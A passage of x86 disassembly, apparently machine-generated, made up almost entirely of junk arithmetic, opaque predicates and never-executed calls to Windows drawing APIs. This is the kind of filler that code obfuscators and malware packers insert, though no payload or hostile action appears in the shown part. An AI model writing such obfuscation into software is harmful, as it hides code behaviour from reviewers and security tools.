mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 3
jge 0x44dfa1
mov eax, dword [ebp - 0xfc]
mov dword [ebp + eax*4 - 0x22ac], 1
jmp 0x44df78
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x71c], 0
je 0x44e052
mov dword [ebp - 0x5b8], 0xc4d8e5c
mov byte [ebp - 0x237], 0
movzx eax, byte [ebp - 0x237]
test eax, eax
je 0x44dfea
push 0
push 0xa12
push 0
push 0xdf3
push 0x13b9
call dword [sym.imp.GDI32.dll_ExtCreatePen]
mov dword [ebp - 0x5b8], 0xe
jmp 0x44e003
mov eax, dword [ebp - 0x5b8]
dec eax
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 0xfffffff7
jge 0x44e04d
mov dword [ebp - 0x348], 0x2e31d832
mov dword [ebp - 0x348], 0
jmp 0x44e02f
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 1
jge 0x44e04b
mov eax, dword [ebp - 0x348]
mov dword [ebp + eax*4 - 0x71c], 0x7a3a11c1
jmp 0x44e022
jmp 0x44dff6
jmp 0x44e259
mov dword [ebp - 0x43c], 0xfffffff6
mov dword [ebp - 0x1674], 0x571c097b
mov dword [ebp - 0x43c], 0
jmp 0x44e07f
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 8
jl 0x44e227
mov dword [ebp - 0x1b6c], 0x12a7b09f
mov dword [ebp - 0x8d4], 0xffffffff
mov dword [ebp - 0x5c0], 0
jmp 0x44e0b9
mov eax, dword [ebp - 0x5c0]
inc eax
mov dword [ebp - 0x5c0], eax
cmp dword [ebp - 0x5c0], 1
jge 0x44e0d5
mov eax, dword [ebp - 0x5c0]
mov dword [ebp + eax*4 - 0x1ec], 1
jmp 0x44e0ac
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1ec], 0
jmp 0x44e103
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ec]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1ec], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1ec], 0
jl 0x44e147
mov byte [ebp - 0x21d], 0
movzx eax, byte [ebp - 0x21d]
test eax, eax
je 0x44e145
push 0
push 0x6ba
push 0x11ee
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
jmp 0x44e0e8
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x1ec]
cmp dword [ebp + eax - 0x1ec], ecx
je 0x44e16f
mov dword [ebp - 0x11bc], 1
jmp 0x44e176
and dword [ebp - 0x11bc], 0
mov eax, dword [ebp - 0x664]
inc eax
mov dword [ebp - 0x664], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x71c]
cmp dword [ebp - 0x664], eax
jge 0x44e1aa
mov eax, 0xc415051a
test eax, eax
jne 0x44e1aa
and dword [ebp - 0x166c], 0
jmp 0x44e1b4
mov dword [ebp - 0x166c], 1
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x1b74], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ec]
cmp dword [ebp - 0x11bc], eax
jle 0x44e1e1
mov dword [ebp - 0x8cc], 1
jmp 0x44e1e8
and dword [ebp - 0x8cc], 0
mov eax, dword [ebp - 0x1674]
cmp dword [ebp - 0x8cc], eax
jl 0x44e202
mov dword [ebp - 0x11c4], 1
jmp 0x44e209
and dword [ebp - 0x11c4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ec]
add eax, dword [ebp - 0x11c4]
mov dword [ebp - 0x8d4], eax
jmp 0x44e072
mov byte [ebp - 0x269], 0
movzx eax, byte [ebp - 0x269]
test eax, eax
je 0x44e259
push 0x12d5
push 0x789
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
mov dword [ebp - 0x1264], 1
mov dword [ebp - 0x1a0c], 0
mov dword [ebp - 0x1a08], 0
mov dword [ebp - 0x1a04], 0
mov dword [ebp - 0x1a00], 0
mov dword [ebp - 0x2fc], 0xc4d8e5c
mov dword [ebp - 0x2fc], 0
jmp 0x44e2ae
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 3
jg 0x44e30f
mov dword [ebp - 0x444], 0xe31d8329
mov dword [ebp - 0x167c], 0xed1ad67a
mov dword [ebp - 0x444], 0
jmp 0x44e2e4
mov eax, dword [ebp - 0x444]
inc eax
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 3
jg 0x44e30d
mov eax, dword [ebp - 0x2fc]
cmp dword [ebp + eax*4 - 0x1a0c], 0
je 0x44e2ff
jmp 0x44e30d
mov eax, dword [ebp - 0x2fc]
mov dword [ebp - 0x167c], eax
jmp 0x44e2d7
jmp 0x44e2a1
mov dword [ebp - 0x15c], 0
jmp 0x44e328
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 2
jge 0x44e344
mov eax, dword [ebp - 0x15c]
mov dword [ebp + eax*4 - 0x1948], 4
jmp 0x44e31b
mov dword [ebp - 0x44c], 0xc7bf0b96
mov dword [ebp - 0x1b7c], 0x1dba3399
mov dword [ebp - 0x11cc], 0x4ab2
mov dword [ebp - 0x5c8], 0
jmp 0x44e37b
mov eax, dword [ebp - 0x5c8]
inc eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 3
jge 0x44e397
mov eax, dword [ebp - 0x5c8]
mov dword [ebp + eax*4 - 0x2294], 4
jmp 0x44e36e
mov eax, dword [ebp - 0x11cc]
inc eax
mov dword [ebp - 0x11cc], eax
mov dword [ebp - 0x44c], 0xfffffff2
jmp 0x44e3bd
mov eax, dword [ebp - 0x44c]
inc eax
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0x18
jg 0x44e41a
mov dword [ebp - 0x1684], 8
mov dword [ebp - 0x5d0], 0
jmp 0x44e3e9
mov eax, dword [ebp - 0x5d0]
inc eax
mov dword [ebp - 0x5d0], eax
cmp dword [ebp - 0x5d0], 2
jge 0x44e405
mov eax, dword [ebp - 0x5d0]
mov dword [ebp + eax*4 - 0x1bc4], 0
jmp 0x44e3dc
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1bc4]
mov dword [ebp - 0x1684], eax
jmp 0x44e3b0
mov dword [ebp - 0x15c], 0
jmp 0x44e433
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 4
jge 0x44e44f
mov eax, dword [ebp - 0x15c]
mov dword [ebp + eax*4 - 0x2090], 0x832cb818
jmp 0x44e426
mov dword [ebp - 0x350], 0xfffffffc
mov dword [ebp - 0x3a0], 0
mov dword [ebp - 0x104], 0
jmp 0x44e47c
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 3
jge 0x44e498
mov eax, dword [ebp - 0x104]
mov dword [ebp + eax*4 - 0x1e24], 0xffffffff
jmp 0x44e46f
mov dword [ebp - 0x104], 0
jmp 0x44e4b1
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 4
jge 0x44e4cd
mov eax, dword [ebp - 0x104]
mov dword [ebp + eax*4 - 0x219c], 0x628e
jmp 0x44e4a4
mov dword [ebp - 0x350], 0
jmp 0x44e4e6
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 2
jg 0x44e70f
mov dword [ebp - 0x2c4], 0xbc9c3d06
mov dword [ebp - 0x11e4], 0xfffffffc
push 6
pop eax
test eax, eax
je 0x44e5e8
mov eax, dword [ebp - 0x3a0]
inc eax
je 0x44e530
cmp dword [ebp - 0x3a0], 0
je 0x44e530
mov dword [ebp - 0x8dc], 1
jmp 0x44e537
and dword [ebp - 0x8dc], 0
mov eax, dword [ebp - 0x3a0]
cmp dword [ebp - 0x8dc], eax
jle 0x44e551
mov dword [ebp - 0x11d4], 1
jmp 0x44e558
and dword [ebp - 0x11d4], 0
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0x11d4], eax
jle 0x44e578
mov eax, 0x209c
test eax, eax
jne 0x44e578
and dword [ebp - 0x8e4], 0
jmp 0x44e582
mov dword [ebp - 0x8e4], 1
mov eax, dword [ebp - 0x2c4]
add eax, dword [ebp - 0x8e4]
cmp eax, 0xffffffff
jl 0x44e59f
mov dword [ebp - 0x11dc], 1
jmp 0x44e5a6
and dword [ebp - 0x11dc], 0
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0x11dc], eax
jge 0x44e5c0
mov dword [ebp - 0x8ec], 1
jmp 0x44e5c7
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0x8ec]
mov dword [ebp - 0x11e4], eax
cmp dword [ebp - 0x11e4], 0
je 0x44e5e8
mov dword [ebp - 0x8f4], 1
jmp 0x44e5ef
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x2c4]
cmp eax, dword [ebp - 0x8f4]
jne 0x44e609
mov dword [ebp - 0x11ec], 1
jmp 0x44e610
and dword [ebp - 0x11ec], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1e24]
cmp dword [ebp - 0x11ec], eax
jge 0x44e630
mov dword [ebp - 0x8fc], 1
jmp 0x44e637
and dword [ebp - 0x8fc], 0
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0x8fc], eax
jl 0x44e657
cmp dword [ebp - 0x2c4], 0
jne 0x44e657
and dword [ebp - 0x11f4], 0
jmp 0x44e661
mov dword [ebp - 0x11f4], 1
mov eax, dword [ebp - 0x3a0]
cmp dword [ebp - 0x11f4], eax
je 0x44e67b
mov dword [ebp - 0x904], 1
jmp 0x44e682
and dword [ebp - 0x904], 0
cmp dword [ebp - 0x904], 0x1ec1
jge 0x44e69a
mov dword [ebp - 0x11fc], 1
jmp 0x44e6a1
and dword [ebp - 0x11fc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1e24]
cmp dword [ebp - 0x11fc], eax
jl 0x44e6cb
cmp dword [ebp - 0x3a0], 0
je 0x44e6cb
mov dword [ebp - 0x90c], 1
jmp 0x44e6d2
and dword [ebp - 0x90c], 0
imul eax, dword [ebp - 0x90c], 0xffff
cmp eax, dword [ebp - 0x350]
jle 0x44e6f0
mov dword [ebp - 0x1204], 1
jmp 0x44e6f7
and dword [ebp - 0x1204], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1204]
mov dword [ebp + eax - 0x219c], ecx
jmp 0x44e4d9
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x1b84], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3f8]
mov dword [ebp - 0x168c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x168c]
mov dword [ebp + eax - 0x1948], ecx
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x1b8c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3f8]
mov dword [ebp - 0x1b94], eax
mov eax, 0x8f1fe3d2
test eax, eax
je 0x44e76c
mov eax, 0x6ed4bca9
test eax, eax
jne 0x44e785
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1948], 0
jne 0x44e785
and dword [ebp - 0x914], 0
jmp 0x44e78f
mov dword [ebp - 0x914], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x914]
sub ecx, dword [ebp + eax - 0x3f8]
cmp ecx, 0xa0e40209
jne 0x44e7b6
mov dword [ebp - 0x1694], 1
jmp 0x44e7bd
and dword [ebp - 0x1694], 0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x1b9c], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x1ba4], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x74]
cmp dword [ebp + eax - 0x3f8], ecx
jne 0x44e7ed
mov dword [ebp - 0x120c], 1
jmp 0x44e7f4
and dword [ebp - 0x120c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3f8]
cmp dword [ebp - 0x120c], eax
je 0x44e815
mov dword [ebp - 0x91c], 1
jmp 0x44e81c
and dword [ebp - 0x91c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3f8]
add eax, dword [ebp - 0x91c]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x3f8]
jne 0x44e84a
mov dword [ebp - 0x1214], 1
jmp 0x44e851
and dword [ebp - 0x1214], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x1214], eax
jge 0x44e868
mov dword [ebp - 0x924], 1
jmp 0x44e86f
and dword [ebp - 0x924], 0
mov eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0x924]
cmp eax, dword [ebp - 0x74]
jge 0x44e88a
mov dword [ebp - 0x121c], 1
jmp 0x44e891
and dword [ebp - 0x121c], 0
imul eax, dword [ebp - 0x121c], 0xcf6a
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x2090]
je 0x44e8b5
mov dword [ebp - 0x92c], 1
jmp 0x44e8bc
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0x92c]
neg eax
mov dword [ebp - 0x1224], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1224]
mov dword [ebp + eax - 0x2090], ecx
cmp dword [ebp - 0x1224], 0
je 0x44e90d
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2090], 0
je 0x44e90d
mov eax, 0x3337672a
test eax, eax
je 0x44e90d
xor eax, eax
je 0x44e90d
mov dword [ebp - 0x169c], 1
jmp 0x44e914
and dword [ebp - 0x169c], 0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x1bac], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x1d94], eax
mov dword [ebp - 0x74], 0xe588
cmp dword [ebp - 0x74], 0
je 0x44e948
cmp dword [ebp - 0x728], 0
je 0x44e948
mov dword [ebp - 0x934], 1
jmp 0x44e94f
and dword [ebp - 0x934], 0
mov eax, dword [ebp - 0x934]
mov dword [ebp - 0x122c], eax
cmp dword [ebp - 0x122c], 0
jne 0x44e976
cmp dword [ebp - 0x728], 0
jne 0x44e976
and dword [ebp - 0x93c], 0
jmp 0x44e980
mov dword [ebp - 0x93c], 1
cmp dword [ebp - 0x93c], 0
ja 0x44e995
mov dword [ebp - 0x1234], 1
jmp 0x44e99c
and dword [ebp - 0x1234], 0
mov eax, dword [ebp - 0x728]
imul eax, dword [ebp - 0x1234]
test eax, eax
je 0x44e9bf
cmp dword [ebp - 0x74], 0
je 0x44e9bf
mov dword [ebp - 0x944], 1
jmp 0x44e9c6
and dword [ebp - 0x944], 0
mov eax, dword [ebp - 0x944]
mov dword [ebp - 0x1264], eax
mov dword [ebp - 0x10c], 0xfffffffc
mov dword [ebp - 0x1508], 1
mov dword [ebp - 0x1504], 1
mov dword [ebp - 0x1500], 1
mov dword [ebp - 0x14fc], 1
mov dword [ebp - 0x16ac], 0x4d996497
mov dword [ebp - 0x16b4], 6
mov dword [ebp - 0x18c], 0
jmp 0x44ea31
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 3
jge 0x44ea4d
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x2144], 0x1a05132d
jmp 0x44ea24
mov dword [ebp - 0x18c], 0
jmp 0x44ea66
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 2
jge 0x44ea82
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x18c0], 0x49690b28
jmp 0x44ea59
cmp dword [ebp - 0x10c], 0xd3a1
jle 0x44ea9a
mov dword [ebp - 0x1244], 1
jmp 0x44eaa1
and dword [ebp - 0x1244], 0
mov eax, 0xfffd
test eax, eax
je 0x44eb3e
cmp dword [ebp - 0x10c], 0xbb94d0f
jne 0x44eac6
mov dword [ebp - 0x123c], 1
jmp 0x44eacd
and dword [ebp - 0x123c], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x123c], eax
jge 0x44eae7
mov dword [ebp - 0x94c], 1
jmp 0x44eaee
and dword [ebp - 0x94c], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x94c], eax
je 0x44eb08
mov dword [ebp - 0x66c], 1
jmp 0x44eb0f
and dword [ebp - 0x66c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x66c]
mov dword [ebp + eax - 0x2144], ecx
mov eax, dword [ebp - 0x10c]
imul eax, dword [ebp - 0x66c]
test eax, eax
je 0x44eb3e
mov dword [ebp - 0x954], 1
jmp 0x44eb45
and dword [ebp - 0x954], 0
mov eax, dword [ebp - 0x1244]
add eax, dword [ebp - 0x954]
cmp eax, dword [ebp - 0x10c]
je 0x44eb65
mov dword [ebp - 0x124c], 1
jmp 0x44eb6c
and dword [ebp - 0x124c], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x124c], eax
jne 0x44eb86
mov dword [ebp - 0x95c], 1
jmp 0x44eb8d
and dword [ebp - 0x95c], 0
mov eax, dword [ebp - 0x95c]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x10c]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
cmp eax, dword [ebp + ecx - 0x1508]
jne 0x44ebbb
mov dword [ebp - 0x16a4], 1
jmp 0x44ebc2
and dword [ebp - 0x16a4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1508]
mov dword [ebp - 0x1d9c], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0x1508]
cmp dword [ebp + eax - 0x1508], ecx
jne 0x44ec02
cmp dword [ebp - 0x16ac], 0
jne 0x44ec02
and dword [ebp - 0x1254], 0
jmp 0x44ec0c
mov dword [ebp - 0x1254], 1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1508]
cmp dword [ebp - 0x1254], eax
jg 0x44ec2d
mov dword [ebp - 0x964], 1
jmp 0x44ec34
and dword [ebp - 0x964], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1508]
cmp dword [ebp - 0x964], eax
jne 0x44ec55
mov dword [ebp - 0x125c], 1
jmp 0x44ec5c
and dword [ebp - 0x125c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1508]
cmp dword [ebp - 0x125c], eax
jne 0x44ec7c
mov dword [ebp - 0x96c], 1
jmp 0x44ec83
and dword [ebp - 0x96c], 0
mov eax, dword [ebp - 0x96c]
mov dword [ebp - 0x16b4], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x18c0]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x18c0], eax
cmp dword [ebp - 0x1264], 0
je 0x44ecb8
jmp 0x44d4be
jmp 0x44d4be
mov dword [ebp - 0x1da4], 0x3623
mov dword [ebp - 0x674], 0x3af7
mov dword [ebp - 0x454], 0xb622b607
mov dword [ebp - 0x984], 3
mov dword [ebp - 0x30], 0
jmp 0x44ecf5
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jge 0x44ed0b
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x3e4], 0xfffffff9
jmp 0x44ecee
mov dword [ebp - 0x30], 0
jmp 0x44ed1b
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
jge 0x44ed31
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x834], 0x7632667a
jmp 0x44ed14
mov dword [ebp - 0x30], 0
jmp 0x44ed41
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x44ed57
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x18d0], 0xaba8d6e8
jmp 0x44ed3a
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x834], 0
jmp 0x44ed82
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x834]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x834], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x834], 1
jge 0x44edaa
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x834]
mov dword [ebp + eax*4 - 0x3e4], 0xcd795364
jmp 0x44ed69
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3e4], 0
je 0x44ef3a
mov eax, dword [ebp - 0x454]
inc eax
mov dword [ebp - 0x454], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x834]
mov dword [ebp - 0x1dac], eax
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x3e4]
add ecx, dword [ebp - 0x454]
cmp dword [ebp + eax - 0x834], ecx
jle 0x44ee0a
mov dword [ebp - 0x974], 1
jmp 0x44ee11
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x454]
cmp dword [ebp - 0x974], eax
jle 0x44ee2b
mov dword [ebp - 0x724], 1
jmp 0x44ee32
and dword [ebp - 0x724], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x724]
mov dword [ebp + eax - 0x3e4], ecx
mov eax, dword [ebp - 0x674]
cmp dword [ebp - 0x724], eax
jne 0x44ee65
mov eax, 0xfff8
test eax, eax
jne 0x44ee65
and dword [ebp - 0x126c], 0
jmp 0x44ee6f
mov dword [ebp - 0x126c], 1
mov eax, dword [ebp - 0x674]
add eax, dword [ebp - 0x126c]
push 4
pop ecx
shl ecx, 1
add eax, dword [ebp + ecx - 0x834]
jne 0x44ee9b
mov eax, 0xede5c489
test eax, eax
jne 0x44ee9b
and dword [ebp - 0x97c], 0
jmp 0x44eea5
mov dword [ebp - 0x97c], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x97c]
mov dword [ebp + eax - 0x18d0], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x18d0], 0
jne 0x44eed4
mov dword [ebp - 0x12a4], 1
jmp 0x44eedb
and dword [ebp - 0x12a4], 0
mov eax, dword [ebp - 0x12a4]
mov dword [ebp - 0x984], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x834]
mov dword [ebp - 0x1db4], eax
mov eax, dword [ebp - 0x984]
mov dword [ebp - 0x1dbc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3e4]
mov dword [ebp - 0x1dc4], eax
mov eax, 0x90b8
imul eax, eax, 0x41e4
test eax, eax
jne 0x44ef2e
push 8
pop eax
test eax, eax
je 0x44ef3a
mov dword [ebp - 0x12ac], 1
jmp 0x44ef41
and dword [ebp - 0x12ac], 0
cmp dword [ebp - 0x12ac], 0xfff8
je 0x44ef59
mov dword [ebp - 0x98c], 1
jmp 0x44ef60
and dword [ebp - 0x98c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x834]
cmp dword [ebp - 0x98c], eax
je 0x44ef80
mov dword [ebp - 0x12b4], 1
jmp 0x44ef87
and dword [ebp - 0x12b4], 0
cmp dword [ebp - 0x12b4], 1
jbe 0x44ef9c
mov dword [ebp - 0x994], 1
jmp 0x44efa3
and dword [ebp - 0x994], 0
mov eax, dword [ebp - 0x674]
imul eax, dword [ebp - 0x994]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x834]
jne 0x44efca
mov dword [ebp - 0x12bc], 1
jmp 0x44efd1
and dword [ebp - 0x12bc], 0
cmp dword [ebp - 0x12bc], 0xcd4d3380
jbe 0x44efe9
mov dword [ebp - 0x99c], 1
jmp 0x44eff0
and dword [ebp - 0x99c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x99c]
mov dword [ebp + eax - 0x834], ecx
and dword [ebp - 0xb8], 0
mov dword [ebp - 0x240], 1
mov dword [ebp - 0x2cc], 0xa3cfce29
mov dword [ebp - 0x67c], 1
mov dword [ebp - 0x164], 0
jmp 0x44f040
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 2
jge 0x44f05c
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0x650], 0xcdbe8e56
jmp 0x44f033
mov dword [ebp - 0x164], 0
jmp 0x44f075
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 4
jge 0x44f091
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0x18e8], 0xb5486b6f
jmp 0x44f068
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x650]
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0
jne 0x44f0c8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x650]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x650]
mov eax, 0xfdeb
neg eax
cmp eax, 9
jne 0x44f0e0
mov dword [ebp - 0x12c4], 1
jmp 0x44f0e7
and dword [ebp - 0x12c4], 0
mov eax, dword [ebp - 0x12c4]
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0
jb 0x44f108
mov dword [ebp - 0x9a4], 1
jmp 0x44f10f
and dword [ebp - 0x9a4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x650]
add eax, dword [ebp - 0x9a4]
je 0x44f135
xor eax, eax
inc eax
je 0x44f135
mov dword [ebp - 0x12cc], 1
jmp 0x44f13c
and dword [ebp - 0x12cc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x650]
imul eax, dword [ebp - 0x12cc]
mov dword [ebp - 0x9ac], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x9ac]
mov dword [ebp + eax - 0x18e8], ecx
cmp dword [ebp - 0x9ac], 0
je 0x44f289
mov dword [ebp - 0x16bc], 0xb611fb8e
mov dword [ebp - 0x16c4], 5
mov dword [ebp - 0x5d8], 0
jmp 0x44f1a3
mov eax, dword [ebp - 0x5d8]
inc eax
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 1
jge 0x44f1bf
mov eax, dword [ebp - 0x5d8]
mov dword [ebp + eax*4 - 0x12d4], 0x48a2
jmp 0x44f196
mov dword [ebp - 0x240], 0
jmp 0x44f1d8
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 3
jg 0x44f1f5
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x650], 0
je 0x44f1f3
jmp 0x44f1f5
jmp 0x44f1cb
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x18e8]
cmp dword [ebp + eax - 0x650], ecx
jl 0x44f26e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x12d4]
mov dword [ebp - 0x16bc], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x12d4]
cmp dword [ebp + eax - 0x18e8], ecx
jg 0x44f24c
mov dword [ebp - 0x9b4], 1
jmp 0x44f253
and dword [ebp - 0x9b4], 0
cmp dword [ebp - 0x9b4], 0
jne 0x44f26e
mov eax, 0xb88cdf8a
test eax, eax
jne 0x44f26e
and dword [ebp - 0x12dc], 0
jmp 0x44f278
mov dword [ebp - 0x12dc], 1
mov eax, dword [ebp - 0x12dc]
mov dword [ebp - 0x16c4], eax
jmp 0x44f505
mov dword [ebp - 0x16cc], 0x16309070
mov dword [ebp - 0x16d4], 0x4826422f
mov dword [ebp - 0x31c], 0xfffffffb
mov dword [ebp - 0x760], 0xfffffff7
mov dword [ebp - 0x45c], 0
jmp 0x44f2ca
mov eax, dword [ebp - 0x45c]
inc eax
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 3
jge 0x44f2e6
mov eax, dword [ebp - 0x45c]
mov dword [ebp + eax*4 - 0x19ac], 6
jmp 0x44f2bd
cmp dword [ebp - 0x16cc], 0xfff7
jbe 0x44f2fe
mov dword [ebp - 0x12ec], 1
jmp 0x44f305
and dword [ebp - 0x12ec], 0
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x2cc], eax
mov eax, dword [ebp - 0x2cc]
imul eax, dword [ebp - 0x31c]
mov ecx, dword [ebp - 0x760]
inc ecx
mov dword [ebp - 0x760], ecx
test eax, eax
je 0x44f349
mov eax, dword [ebp - 0x67c]
cmp dword [ebp - 0x2cc], eax
jne 0x44f349
mov dword [ebp - 0x9bc], 1
jmp 0x44f350
